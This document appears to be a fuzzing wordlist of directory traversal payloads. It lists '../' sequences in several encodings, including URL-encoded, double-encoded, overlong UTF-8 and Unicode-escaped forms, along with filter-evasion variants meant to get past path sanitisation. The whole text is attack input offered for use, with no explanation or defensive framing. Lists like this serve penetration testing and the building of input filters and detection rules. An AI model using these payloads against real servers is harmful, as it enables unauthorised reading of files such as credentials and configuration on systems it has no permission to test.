Generic Directory Traversal Attack Vector

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
. = %u002e
/ = %u2215
\ = %u2216
. = %c0%2e
/ = %c0%af
\ = %c0%5c
. = %e0%40%ae
/ = %e0%80%af
\ = %c0%80%5c
. = %c0ae
/ = %c0%2f
..././
...\.\
..;/
. = %252e
/ = %252f
\ = %255c